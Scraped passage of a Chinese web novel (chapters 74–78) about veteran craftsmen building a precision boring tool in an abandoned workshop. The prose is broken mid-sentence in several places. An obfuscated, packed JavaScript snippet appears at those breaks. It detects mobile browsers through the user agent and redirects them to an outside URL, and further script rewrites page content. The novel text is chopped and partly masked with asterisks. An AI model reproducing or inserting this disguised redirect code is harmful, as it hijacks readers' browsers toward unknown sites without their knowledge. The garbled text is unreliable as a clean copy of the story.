江建国率先开口,打破了沉默。 路承舟重重地点了点头,他压低了声音,语气里带着一丝无法抑制的震撼与好奇:“我实在想不通……西普的机床,那是……那是我们当年连做梦都不敢想的东西。您……您到底有什么样的门路?” 这个问题,同样也是孙大海等人在心底盘旋了无数遍的疑问。 此刻,所有人的动作都下意识地慢了下来,耳朵却不约而同地竖了起来。 江建国笑了笑,他没有直接回答,而是指了指车间中央那片最空旷的地面。 “路工,你觉得,那台机床来了之后,应该放在哪里?” 路承舟一愣,显然没料到江建国会如此反问。 他的思绪被瞬间带入了专业领域,几乎是本能地答道:“当然是那里!那片区域的地基最厚实,而且是整个车间的几何中心,方便吊装和走线。我已经大概规划了一下,如果机床运到,我们至少需要三天时间来完成安装调试,还要重新铺设专门的防静电地板和恒温……” 他说着说着,声音却渐渐小了下去。 因为他猛然意识到,自己已经不由自主地,开始为一个“不可能实现”的目标,规划起了最详尽的实施方案。 江建国脸上的笑容更深了。 “你看,你心里其实已经相信了,不是吗?” 他拍了拍路承舟的肩膀,目光扫过远处那些竖着耳朵的壮汉们,声音不大,却清晰地传到了每个人的耳中。 “通往山顶的路,从来不 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面条是简单的手擀面,上面只浇了一些用肉末和酱油炒制的臊子,旁边还有一盆切好的黄瓜丝。 简单,甚至有些简陋。 可当那股混杂着麦香与肉香的热气扑入鼻腔时,这群在各自的地狱里挣扎了太久的汉子,眼眶却齐齐地红了。 没有人客气,一人盛了一大碗,围着桌子,呼啦啦地吃了起来。 孙大海吃得最快,一大碗面几口就下了肚,连汤都喝得一滴不剩。 他放下碗,用袖子擦了把嘴,看着身边这群人,看着这片灯火通明的车间,忽然咧嘴一笑,笑声比哭声还难听。 “**,” 他端起桌上的凉白开,像是端着一杯烈酒,对着众人,也对着江建国,重重一举。 “敬‘远征’!” 所有人,包括江建国,都默默地端起了自己的碗。 “敬远征!” 碗沿相碰,发出清脆的声响,在这座沉寂了不知多少年的仓库里,回荡不休。 这一夜,没有人再提过去的苦难,也没有人去畅想遥远的未来。 他们只是吃着这顿迟来了太久的、安稳的饭。 江建国看着这幅画面,心中一片宁静。 他知道,这支以神魔为骨、以疯子为魂的远征军,今夜,终于在这片废墟之上,立起了第一面属于自己的战旗。 第74章 规矩与雄心 晨光,是这座废弃货场久违的访客。 当第一缕熹微的光线穿透仓库高窗上蒙尘的玻璃,它仿佛一柄由光铸成的刻刀,在沉重的黑暗中,一寸寸地雕琢出机器与工具的轮廓。 空气里,昨夜面条的余香尚未散尽,又混入了一股崭新的、属于钢铁和润滑油的冰冷气息。 孙大海是第一个醒来的。 他猛地从床上坐起,眼神还有些迷茫,仿佛置身于一场不真实的梦境。 没有漏风的墙壁,没有刺骨的寒意,身上盖着的是厚实温暖的棉被,身下躺着的是平整结实的木板床。 他愣了半晌,才后知后觉地意识到,这一切都是真的。 他狠狠地掐了自己粗壮的大腿一把,那清晰的痛感让他咧开嘴,无声地笑了。 隔壁的房间,也陆陆续续传来了动静。 当这群平均年龄超过五十岁、在各自领域封神拜将的老师傅们,睡了三年来第一个安稳觉,然后走进那间窗明几净的盥洗室,用热水洗去满脸的疲惫与尘霜时,他们看着镜中那张既熟悉又陌生的脸,心中翻涌的情绪,难以言表。 江建国早已等在车间里。 他没有催促任何人,只是静静地站在那块钨钛钴合金前,手指在那冰冷光滑的表面上轻轻划过。 他的身后,是一张铺开了巨大白纸的工作台,旁边整齐地摆放着几支削好的铅笔和三角尺。 当所有人都洗漱完毕,略带拘谨地走进车间时,看到的就是这样一幅画面。 朝阳为他镀上了一层金色的轮廓,那年轻的背影,在巨大的车间背景下,竟显得无比沉稳可靠,仿佛一座沉默的山。 “都醒了?” 江建国转过身,脸上带着温和的笑意,“昨晚睡得怎么样?” “舒坦!” 孙大海瓮声瓮气地回了一句,声音里透着一股发自内心的满足。 “江总,往后咱们就……就都在这儿干活了?” 赵立本搓着手,有些不敢相信地问道。 江建国点了点头,他的目光缓缓扫过每一个人,脸上的笑容渐渐收敛,取而代之的是一种不容置疑的郑重。 “没错。从今天起,这里就是我们的家,也是我们的战场。” 他顿了顿,声音变得清晰而有力。 “既然是战场,就得有军规。我先说三条规矩。” 所有人都下意识地挺直了腰杆,神情肃穆。 “第一,安全。孙师傅是玩火的,刘师傅是玩电的,在座的各位,哪个手里的家伙都不是善茬。我把你们请来,是要做一番事业,不是让你们谁缺胳膊断腿的。任何操作,必须严格遵守安全规程。谁要是敢拿自己的命开玩笑,就别怪我翻脸不认人。” 这番话,朴实无华,却让这群**湖心里一暖。 他们这辈子,听过太多“抓生产,促进度”的口号,却很少有人会把他们的“安全”放在第一位。 “第二,保密。” 江建国的眼神变得锐利起来,“我们要做什么,我们有什么,我们做出了什么,出了这个门,任何人都不能提一个字,包括你们的家人。能做到的,就留下。做不到的,现在就可以走,我发三个月工资,绝不为难。” 车间里一片死寂,落针可闻。 所有人都明白这四个字的份量。 尤其是那台还远在天边的西普镗床,一旦消息泄露,足以掀起滔天巨浪。 没有人动。 他们的眼神,坚定如铁。 “很好。” 江建国对此毫不意外,他缓缓说出最后一条,“第三,也是最重要的一条,在这里,没有论资排辈,没有倚老卖老。我不管你们过去是什么总工、什么师傅,到了这儿,只看本事,只认结果。活儿干得漂亮,我把你们当祖宗供着;要是出了纰漏,耽误了事,也别怪我说话难听。” 他环视众人,一字一顿地说道:“我们的工厂,就叫‘远征’。远征之路,不养闲人,更不养废人。” “远征”二字,如同一道惊雷,在众人心中炸响! 孙大海的胸膛剧烈地起伏着,他那双铜铃大眼里,迸射出骇人的精光。 远征! 好一个远征! 这简单粗暴的两个字,瞬间点燃了他沉寂多年的雄心与热血! “说得好!” 他猛地一拍巴掌,发出一声巨响,“就该是这个章程!谁敢拖后腿,不用江总开口,老子第一个把他扔进炼铁炉里!” “我同意!” 路承舟推了推眼镜,镜片下的目光前所未有的明亮。 这种唯才是举、结果导向的行事风格,正是一个技术人员最渴望的环境。 其他人也纷纷点头,眼中最后一丝疑虑与不安,被这三条简单却直指核心的规矩,彻底驱散。 江建国满意地点了点头,随即话锋一转。 “有规矩,自然也有待遇。” 他从口袋里掏出一张纸,“我给大家暂时定了个薪资标准。路工,你是总工程师,负责所有技术路线和生产流程的规划,暂定月薪三百。” 三百! 路承舟的瞳孔猛地一缩! 要知道,他之前在国营大厂当副总工的时候,加上各种补贴,一个月也才一百出头! 不等众人从震惊中回过神来,江建国继续念道:“孙师傅,铸造车间主任;刘师傅,铆焊车间主任;赵师傅,热处理车间主任。你们三位,月薪两百五。” 孙大海、刘福生和赵立本,三个人齐齐地倒吸了一口凉气,身体都僵住了。 两百五! 这笔钱,在外面足够一个五口之家舒舒服服地过上一个月! “钱师傅,丁师傅,你们暂时跟着路工,负责机加工和钳工,月薪两百。以后有了独立的部门,再做调整。” 钱德禄和丁建中张了张嘴,几乎以为自己听错了。 “这是试用期的标准,三个月后,看各位的贡献,再定正式的薪酬和奖金。” 江建国将那张纸放到桌上,语气平淡得像是在说一件微不足道的小事,“每个月一号发钱,只发现金。” 整个车间,彻底安静了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一把结构极其复杂、造型前所未闻的、专门用于深孔加工的组合式镗刀。 它的刀杆、刀夹、刀片,甚至内部的冷却流道,都被分解成了数十个独立的零件,每一个零件的加工精度要求,都达到了令人发指的“丝”级! “这是……” 路承舟扶着眼镜,死死地盯着图纸,眼神里充满了震撼与狂热,“可调式阻尼减震刀杆……内置高压中心出水……这……这是谁设计的?” “我。” 江建国淡淡地吐出一个字,随即用笔尖,在图纸的右下角,写下了这件作品的名字。 “远征一号。” 他抬起头,看着这群已经彻底被图纸吸引了心神的匠人们,嘴角勾起一抹弧度。 “陈一刀的活儿,要用最好的机床。” “但是,配得上那台机床的刀,我们自己造!” 第75章 疯狂的图纸,神魔的战场 “远征一号。” 当江建国用铅笔写下这四个字时,整个车间仿佛被按下了静音键。 那张巨大的白纸,此刻不再是纸。 它是一个漩涡,一个由无数精准线条、密集标注和鬼斧神工般的设计构想所凝聚成的、拥有恐怖吸引力的漩涡,将所有人的心神都牢牢地吸了进去。 时间,在这一刻失去了意义。 路承舟的身体微微前倾,鼻尖几乎要触碰到图纸。 他那副老旧的黑框眼镜,此刻仿佛成了一对高倍显微镜,镜片下的双眼,正以一种近乎贪婪的速度,疯狂地扫描、解析着图纸上的每一个信息。 他的呼吸变得急促,胸膛剧烈起伏,喉咙里发出意义不明的嗬嗬声,像一个溺水者在拼命挣扎,又像一个信徒,骤然见到了足以颠覆其毕生信仰的神迹。 孙大海那颗硕大的脑袋,也凑了过来。 他看不懂那些复杂的公差标注和几何图形,但他能看懂材料表。 他的手指,比胡萝卜还粗,此刻却小心翼翼地,点在了图纸角落那一小块关于刀杆材料的配方说明上。 “铬……钼……钒……这配比……” 他喃喃自语,声音沙哑得像是两块生锈的铁板在摩擦,“不对……这**根本不对!哪有这么加料的?会炸炉的!” 赵立本则死死盯着另一处。 那里,用一行小字标注着刀片淬火的工艺要求:零下180度深冷处理,回火三次,硬度必须稳定在HRC68以上,且韧性不得低于…… 他的嘴唇哆嗦着,那张饱经风霜的脸上,血色尽褪,只剩下一片骇人的苍白。 这群人,是中国工业界最巅峰的一群匠人。 他们玩了一辈子钢铁,闭着眼睛都能听出车床切削时,一个“丝”的误差。 可眼前这张图纸,却像一本从天外降临的魔典,上面的每一个字符,都在疯狂地嘲笑着他们引以为傲的经验与常识。 这根本不是人类能造出来的东西! “疯子……” 路承舟猛地直起身,踉跄着后退了两步,手指颤抖地指着江建国,像是看见了魔鬼。 “你是个彻头彻尾的疯子!” 他嘶吼道,声音因极度的震惊而变得尖利刺耳,“你知道这上面画的是什么吗?这不是镗刀!这是用钢铁和精度堆砌起来的怪物!一个只存在于理论中的怪物!” 他猛地抢过一支铅笔,冲回图纸前,笔尖因为用力过猛,几乎要划破纸背。 “这里!这个阻尼减震结构!你想用液压和弹簧组合来抵消深孔加工时产生的共振?想法是天才的!但它的加工精度要求是多少?正负一个微米!一个μ!一根头发丝的七十分之一!上帝来了都做不到!” “还有这里!内置高压冷却!你想让冷却液从刀杆中心直接喷射到刀刃上?好!太好了!可这条比绣花针还细的螺旋冷却通道,你要怎么在实心合金钢里钻出来?用什么钻头?神仙的绣花针吗?” “最离谱的是这个!” 他的笔尖,重重地戳在了那个模块化的刀片夹持器上,“可更换刀片,角度精密可调!这意味着这个小小的夹具,本身就是一台微型机床!它上面每一个零件的误差,都不能超过半个丝!我们拿什么来加工它?拿牙齿去啃吗?” 他的质问,如同一串串重磅**,在空旷的车间里炸响。 每一个问题,都精准地击中了现代机械加工的极限与命门。 孙大海等人,虽然不像路承舟那样能看懂全部的结构,但单凭路承舟吼出的那几个关键数据,就已经让他们感到一阵阵的头晕目眩。 一个微米的精度…… 那是什么概念? 那是教科书里才会出现的、属于实验室的理论数据! 整个车间,再次陷入了死一般的寂静。 刚刚被三条规矩和高额薪水点燃的雄心与热血,仿佛被一盆冰水,从头浇到脚,瞬间冷却。 如果说,一个月内搞来一台西普镗床,是天方夜谭。 那么,用现有的设备,造出图纸上这个怪物,就是痴人说梦! 然而,面对路承舟近乎崩溃的咆哮,面对众人那从震惊转为绝望的眼神,江建国却平静得像一潭深不见底的古井。 他只是静静地看着他们,直到路承舟的嘶吼声渐渐平息,直到所有人的目光都重新聚焦在他身上。 然后,他笑了。 那笑容里,没有嘲讽,没有轻蔑,只有一种令人心悸的、仿佛能洞穿一切的强大自信。 “路工,” 他缓缓开口,声音不大,却清晰地传入每个人的耳中,“你说,上帝来了都做不到。” 他伸出一根手指,轻轻地,点在了图纸上那个被路承舟认为最不可能的微米级公差标注上。 “但是,我们不是上帝。” “我们,是匠人。” 他的声音,仿佛带着一种奇异的魔力,让车间里那几乎凝固的空气,重新开始流动。 “匠人,不问能不能,只问怎么干。” 他抬起头,目光如炬,扫过眼前这群神情各异的宗师。 “你说,没有工具能加工出这条螺旋冷却通道。” 他转向孙大海,“孙师傅,如果我们先铸造出一根空心的、带有内螺旋槽的毛坯,再用精密填充材料灌注,整体精加工之后,最后把填充材料溶解掉呢?” 孙大海的瞳孔,猛地一缩! 他那颗被固有铸造工艺塞满的脑袋,仿佛被一道闪电劈开! 这个思路…… 这个思路简直是天马行空! 闻所未闻! “你说,没有机床能保证那个夹具的精度。” 江建国又看向钱德禄和丁建中,“钱师傅,丁师傅,如果,我们先用现有的车床,加工出十个、二十个零件,然后,用最笨的办法,手工研磨,从这二十个里面,配对筛选出一组误差最小的呢?” 钱德禄和丁建中的呼吸,瞬间停滞了。 手工研磨! 以“丝”为单位的精度,全靠一双手和几张砂纸去磨? 这…… 这是何等疯狂,又是何等大胆的想法! 这已经不是在做工业品了,这是在做艺术品! “路工,” 江建国的目光,最终回到了路承舟身上,“你说得都对。用常规的思路,常规的工艺,这件东西,就是一堆废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一时间,群情激昂! 质疑、退缩、绝望,被彻底碾碎,取而代之的,是一种破釜沉舟、向死而生的悲壮与豪情! 这里,不再是一个冰冷的废弃车间。 这里,是神魔的战场! 路承舟呆呆地看着眼前这幅景象,看着这群瞬间从凡人化为狂战士的老师傅们,他只觉得自己的血液,也开始不受控制地燃烧起来。 他缓缓地,重新拿起那支铅笔,这一次,他的手,稳如磐石。 他深深地吸了一口气,对着江建国,也对着所有人,用一种近乎宣誓般的语气,郑重地说道:“给我三天。我把整张图纸分解成一百二十七道独立工序,每一道工序,我都会制定出详尽的工艺卡和检验标准。” “远征一号,” 他看着图纸上那四个字,一字一顿。 “从我的手里,不会出现一个‘丝’的差错。” 第76章 尺规与战场 誓言落地,掷地有声。 路承舟没有等待任何人的回应,那句宣言仿佛抽干了他所有的激动情绪,剩下的,唯有工程师面对终极难题时,那种冰冷到极致的专注。 他整个人气质骤变,从一个被神迹震撼的信徒,瞬间化为即将解剖神迹的执刀者。 “不够。” 他吐出两个字,目光锐利如刀,扫过那张临时拼凑的工作台,“这张桌子不行,它会形变。我们需要一个铸铁平台,哪怕是小型的,作为基准。” 他转向江建国,语气不再是请示,而是一名总工程师在陈述必需的作战资源。 “还有,我需要更多的图纸,大量的计算草稿纸,以及全套的绘图工具。不是铅笔,是专业的鸭嘴笔和针管笔。” “孙大海!” 他头也不回地吼道,声音里带着不容置疑的权威,“把你那破冲天炉周围的地基情况给我摸清楚!我要知道它最大能承受多少度的炉温,能维持多久!我要精确的数据,不是你那套‘凭感觉’的狗屁理论!” 孙大海被他吼得一愣,随即那张粗犷的脸上,绽放出一种棋逢对手的狂热笑容。 他没有反驳,只是重重地“哼”了一声,扭头便走向了车间角落那台小小的冲天炉,眼神像是在审视一头即将被唤醒的猛兽。 “赵师傅!” 路承舟的指令接踵而至,“把你压箱底的那些测温、控温的宝贝都拿出来!我要你在一周之内,给我拿出一套热处理方案,能将那见鬼的材料硬度,稳定在一个洛氏硬度单位的误差之内!” 赵立本沉默地点了点头,转身走向自己的房间,脚步沉稳,仿佛去取一件封存已久的绝世兵器。 转瞬之间,这群各自为战的宗师,便被路承舟用几句简短的指令,拧成了一股绳。 那张疯狂的图纸,成了他们的共同的敌人,也成了他们唯一的信仰。 江建国静静地看着这一幕,嘴角噙着一抹淡淡的笑意。 他要的,正是这种效果。 一个团队,需要的不仅仅是服从,更需要一个能将所有人的力量凝聚起来的技术核心。 路承舟,显然就是最合适的人选。 “你要的东西,明天早上会全部送到。” 江建国走到路承舟身边,声音温和却让人信服,“铸铁平台、绘图工具、还有你们接下来可能需要的所有耗材,列个单子出来。” 路承舟头也不抬,他已经完全沉浸在了图纸的世界里,手指在那些复杂的线条上空划过,仿佛在进行一场无声的推演。 “不用列单子了。” 他喃喃自语,“把你能想到的所有最高精度的测量工具,都给我搞来。千分尺、杠杆百分表、激光准直仪……有多少,要多少。” 江建国深深地看了他一眼,点了点头,没有再打扰他,转身走出了车间。 当他再次回来时,手里提着一个沉甸甸的工具箱,以及几大捆崭新的、还散发着油墨清香的牛皮纸。 他将东西轻轻放在一张空置的工作台上,然后便默默地开始了自己的工作。 他没有去参与那场已经白热化的技术讨论,而是打开工具箱,取出扳手和水平仪,走到了车间里那台最不起眼的旧式车床前。 那是一台国产的C6140型卧式车床,绿色的油漆剥落了大半,露出底下灰黑的铸铁本体,像一位饱经风霜、沉默寡言的老兵。 钱德禄和丁建中注意到了江建国的举动,对视一眼,也走了过来。 “江总,这台车床……” 钱德禄有些迟疑地开口,“年头太久了,导轨磨损得厉害,主轴的径向跳动怕是早就超了十个丝,干不了细活儿。” “我知道。” 江建国头也不回,他正用一块蘸了煤油的棉布,仔细地擦拭着布满油污的床身导轨,“但它是我们这里,唯一的根基。” 他将水平仪稳稳地放在导轨上,仔细观察着气泡的位置,动作熟练得仿佛重复过千百遍。 “一台机床的精度,出厂时由它的设计和制造决定。但出厂之后,就由使用它的人决定。” 江建国的声音平静而清晰,“我们要做的第一件事,不是去挑战那张图纸,而是让我们的武器,恢复它应有的尊严。” 他抬起头,看着两位顶级的钳工师傅。 “两位师傅,从现在开始,这台车床就是你们的战场。我要你们把它彻底拆开,每一个齿轮,每一根丝杠,每一个轴承,都给我清洗、检查、重新配研。” 他的手指,轻轻敲了敲磨损最严重的导轨面。 “这里的磨损,用人工刮研的办法,给我一点点找回来,我不要你们恢复出厂精度。” 他顿了顿,眼神里透出一股与他年龄不符的、深沉如海的自信。 “我要你们用自己的手,赋予它超越出厂的精度。” 钱德禄和丁建中,彻底愣住了。 刮研! 这个词,对年轻一代的工人来说,已经和甲骨文一样陌生。 那是一种纯粹依靠人力,用一把小小的刮刀,在铸铁表面刮削出无数微米级的凹坑,以达到极致平面度和润滑保持性的古老手艺。 这门手艺,苦、累,而且见效慢,早就被高精度磨床和导轨贴塑工艺所淘汰。 可他们两人,却是当世还掌握着这门手艺的、凤**麟角般的存在! “江总……” 丁建中的嘴唇有些发干,他看着江建国那双干净得不像话的手,眼神里充满了不可思议,“您……您也懂这个?” 江建国笑了笑,没有回答。 他只是拿起一把刮刀,以一个无可挑剔的姿势握住,手腕发力,刀锋在导轨的非工作面上一掠而过。 “噌”的一声轻响。 一道优美而均匀的、带着鱼鳞般光泽的刮研痕迹,清晰地出现在铸铁表面。 那惊鸿一瞥般的刀法,那对力道妙到毫巅的控制,瞬间让钱德禄和丁建中这两个内行,看得头皮发麻! 他们脸上的最后一丝轻视与怀疑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341858|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这一刀之下,荡然无存。 取而代之的,是发自灵魂深处的敬畏与叹服! 眼前这个年轻人,根本不是什么只懂画图纸的理论派! 他是一个比他们还要恐怖的,深藏不露的怪物! “干!” 钱德禄只说了一个字,便猛地脱掉了自己的外套,露出了精壮的、布满老茧的双臂。 他从工具箱里拿起另一把刮刀,眼神瞬间变得和路承舟一样,充满了狂热的战意。 丁建中也默默地行动起来,开始拆卸车床的刀架和尾座。 没有豪言壮语,没有热血沸腾的口号。 有的,只是两个老匠人与一台老旧机床之间,一场注定要耗费无数心血与汗水的、关于精度的无声战争。 而另一边,路承舟也终于完成了初步的工序分解。 他抬起通红的双眼,将一张写满了密集符号与流程图的草稿,拍在了孙大海面前。 “看这里!” 他指着草稿上一个被红圈圈出的部分,“刀杆毛坯,必须采用真空熔铸!我不管你用什么办法,你必须保证材料在熔炼过程中,不能混入任何杂质,哪怕是一个分子!” “放**屁!” 孙大海的牛脾气也上来了,一巴掌拍在桌子上,“真空?你当这是实验室里炼仙丹呢?我上哪给你弄真空炉去?” “我不管!” 路承舟寸步不让,针锋相对,“没有真空环境,材料里的微量气体就无法排出,铸件内部就会产生我们肉眼看不见的微小气孔!这些气孔,在后续的热处理和高强度切削中,就是致命的裂纹源头!你想让我们所有人的心血,在最后一步功亏一篑吗?” 两人如同两头愤怒的公牛,顶在了一起,谁也不肯退让。 一个代表着铸造工艺的极限,一个代表着设计理论的完美。 就在这时,江建国擦了擦手上的油污,走了过来。 他拿起那张草稿纸,看了一眼,随即淡淡地开口。 “如果,我们在浇筑前,先用惰性气体对铁水进行长时间吹扫,置换掉里面的活泼气体呢?” 一句话,让剑拔**张的两人,同时愣住了。 惰性气体吹扫法? 孙大海的脑子里,仿佛有无数的齿轮在疯狂转动。 这个方法,他听说过,是国外用来生产高纯度特种钢的尖端技术,在国内,根本没人试过! 理论上,它确实能达到接近真空熔炼的效果! 路承舟的眼睛也亮了。 他只考虑了真空这个最优解,却忽略了在现有条件下,还有这样一条曲线救国的道路! “氩气。” 江建国仿佛看穿了他们的心思,平静地补充道,“我会让人送一车最高纯度的液氩过来。” 他看着已经陷入沉思的孙大海和一脸震撼的路承舟,将草稿纸放回桌上。 “记住,我们是在战场上。” “战场上,没有最优解,只有最有效解。” 第77章 废墟上的秩序 惰性气体吹扫法。 这个如同天外飞仙般降临的解决方案,像一把精准的手术刀,瞬间剖开了路承舟与孙大海之间那看似无法调和的矛盾。 争吵戛然而止。 两头险些抵角的公牛,此刻都陷入了某种深层次的技术性思考,眼神直勾勾地盯着虚空,脑海中无数的工艺参数与化学反应式正在疯狂地碰撞、重组。 车间里那股剑拔**张的气氛,如同被戳破的气球般迅速消散。 取而代之的,是一种更加可怕的、仿佛能将空气都抽干的极致宁静。 战争,以一种无声的方式,正式打响。 路承舟不再言语。 他转身回到那张铺着巨大白纸的工作台前,那里,就是他的指挥高台。 他拿起一支刚刚削好的6H绘图铅笔,笔尖在纸面上悬停了片刻,随即以一种非人的稳定与速度,开始了他的工作。 线条在他的笔下流淌,时而如奔马般迅捷,勾勒出零件的主体轮廓;时而如绣花针般精细,标注出令人头皮发麻的公差尺寸。 三角尺、圆规、量角器在他的手中仿佛活了过来,化作他意志的延伸。 整个车间,似乎只剩下铅笔与纸张摩擦时那细微而又坚定的“沙沙”声。 他不再是一个人,他成了一台正在进行穷举运算的超级计算机,将那张来自未来的、疯狂的整体图纸,分解成一道道逻辑严谨、步骤清晰、凡人可以理解并执行的命令。 孙大海则像一头沉默的黑熊,踱步回到了他的冲天炉旁。 他没有立刻生火,而是绕着那座其貌不扬的炉子,一圈又一圈地走着。 他的手掌,粗糙得如同老树的树皮,此刻正一遍遍地抚摸着炉壁上冰冷的耐火砖,感受着每一丝细微的裂纹与瑕疵。 他时而蹲下,用手指捻起地上的炉渣,放在鼻尖轻嗅;时而又爬上炉顶,探头向那漆黑的炉膛深处望去,眼神专注得像是在凝视着深渊。 他在用自己最原始、也最可靠的感官,与这座即将承担远超其设计极限任务的伙伴,进行着一场深刻的交流。 另一边,钱德禄与丁建中已经完全占领了那台老旧的C6140车床。 他们没有急于拆卸,而是找来了一块黑板,用粉笔在上面画出了整台车床的结构**图,每一个部件都被清晰地标注了序号。 丁建中负责拆卸,他的动作精准而富有韵律,每一颗螺栓被拧下的力道都恰到好处,拆下的零件被他按照序号,整齐地码放在铺着干净棉布的地面上,宛如等待检阅的士兵。 钱德禄则负责检验。 他戴上了一副度数极深的老花镜,手里拿着塞尺和千分尺,对每一个拆下的零件进行着近乎苛刻的测量。 他的眉头紧锁,嘴里不时发出一两声意义不明的、带着惋惜与愤怒的叹息。 “造孽啊……” 他抚摸着一根磨损出明显凹痕的丝杠,声音里满是痛心,“这么好的料子,就这么给糟蹋了。” 而江建国,这位名义上的最高领导,此刻却像一个最普通的勤杂工。 他没有对任何人的工作指手画脚。 他只是默默地拿起扫帚和铁锹,将车间地面上堆积了不知多少年的工业垃圾与尘土,一铲一铲地清理出去。 他的动作不快,却带着一种恒定的节奏,仿佛他清理的不是垃圾,而是正在为这片废墟,建立起一种名为“秩序”的根基。 当他将最后一铲垃圾倒出仓库大门时,一辆破旧的解放卡车,恰好停在了货场中央。 车上跳下来一个精瘦的汉子,看见江建国,立刻点头哈腰地迎了上来,递上一根烟:“江总,您要的东西,都给您拉来了。” 江建国接过烟,却没有点燃,只是夹在指间。 他走到卡车后方,掀开篷布。 车厢里,塞得满满当当。 最显眼的,是一块厚重得令人心悸的、表面平整如镜的铸铁平台。 它的周围,塞满了各种崭新的工具:全套的德制哈芬绘图仪器、数个规格不同的金刚石划线盘、一箱箱包装精良的进口轴承,甚至还有几台他们从未见过的、带着精密刻度盘的手持式光学仪器。 “路工要的测量工具,我没找到激光的,但托人从一个研究所里,搞到了这几台自准直经纬仪和高精度水平仪,精度绝对够用。” 精瘦汉子指着那几台仪器,语气里带着一丝邀功的得意。 江建国的目光扫过那些仪器,眼神里闪过一抹赞许。 他知道,在这个年代,能弄到这些东西,背后所代表的能量,绝非寻常。 “辛苦了。” 他点了点头,随即指向车厢最深处,那里,静静地立着十几个巨大的、涂着天蓝色油漆的高压钢瓶,“这才是今天的主角。” 精瘦汉子顺着他的目光看去,脸上露出一丝困惑。 “江总,您要这么多……氩气干什么?这玩意儿,除了搞焊接保护,也没别的用场啊。” 江建国笑了笑,没有解释。 他只是拍了拍那个冰冷坚硬的钢瓶,仿佛在拍着一位即将登场的、沉默的战友。 “有些战场,你看不到硝烟。” 当这些崭新的“**”被一一搬运进车间时,那场无声的战争,终于有了第一声清晰的回响。 路承舟看到那套德制绘图仪器时,呼吸猛地一滞。 他小心翼翼地拿起那支沉甸甸的鸭嘴笔,感受着它冰冷的金属质感与完美的配重,眼中爆发出一种近乎痴迷的光彩。 他毫不犹豫地将那支铅笔丢到一旁,换上了新的武器。 而那块铸铁平台,则被众人合力,安放在了车间最中央的位置。 它如同一座漆黑的祭坛,成为了整个车间绝对的精度基准。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341859|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路承舟将他那张巨大的图纸,郑重地移到了铸铁平台上。 从这一刻起,从这张图纸上延伸出的每一条线,都将拥有一个不容置疑的、绝对精准的参照。 夜幕,不知不觉地降临了。 厨房里,赵立本默默地为大家准备着晚饭,依旧是简单的面条,但这一次,他多炒了两个菜。 食物的香气,混杂着机油与钢铁的气息,形成了一种奇特的、名为“希望”的味道。 没有人去催促,也没有人停下手中的工作。 直到路承舟直起他那几乎僵硬的腰,将一张刚刚绘制完成的、布满了复杂线条与数据的A2图纸,从铸铁平台上取下。 他走到那台被拆得只剩下床身的车床旁,将图纸递给了钱德禄。 “这是C6140的导轨刮研修复工艺图,” 他的声音沙哑,却异常清晰,“我重新计算了它的V型导轨与平导轨的补偿公差。按照这个标准,你们需要在这三米长的导轨上,均匀刮削出至少两万个受力支点。每一个支点的深度误差,不能超过两个微米。” 钱德禄接过那张图纸,那张比银行存单还要珍贵的图纸。 他粗糙的手指轻轻抚过上面清晰的线条,眼神专注而虔诚。 “好。” 他只说了一个字。 路承舟点了点头,又走向孙大海。 “这是冲天炉的临时改造方案。加装这套氩气管道,在出铁前,对铁水进行至少十五分钟的饱和吹扫。另外,我设计了一个简易的离心铸造装置,利用旋转的离心力,将可能残存的杂质甩到毛坯外壁,为后续的加工留出余量。” 孙大海一把抢过图纸,那双铜铃大眼死死地盯着上面那个天马行空却又逻辑严谨的离心装置,喉结剧烈地滚动了一下。 “……行。” 他从牙缝里挤出一个字。 最后,路承舟走回了铸铁平台旁。 那里,不知何时已经立起了一块巨大的木板墙。 他深吸一口气,将手中绘制的第一张“远征一号”核心零件阻尼减震活塞的正式加工图纸,用一颗图钉,郑重地,钉在了木板墙的正中央。 那张图纸,像一面战旗。 一面在这片废墟之上,正式升起的,向不可能宣战的战旗。 “开饭了。” 赵立本的声音,适时地响起。 众人这才如梦初醒,纷纷放下手中的工具,走向那张长条桌。 江建国看着那面木板墙,看着墙上那第一张孤独却骄傲的图纸,嘴角缓缓勾起一抹笑容。 他知道,一个全新的秩序,正在这片废墟之上,悄然建立。 而这面墙,就是他们的战役地图。 从今天起,这张地图上的空白,将会被一张又一张的图纸,慢慢填满。 直到最后,拼凑出那把名为“远征”的,绝世神兵。 第78章 于无声处听惊雷 长条桌上的晚餐,沉默得像一场告别仪式。 没有人交谈,甚至连咀嚼的声音都被刻意压抑到了最低。 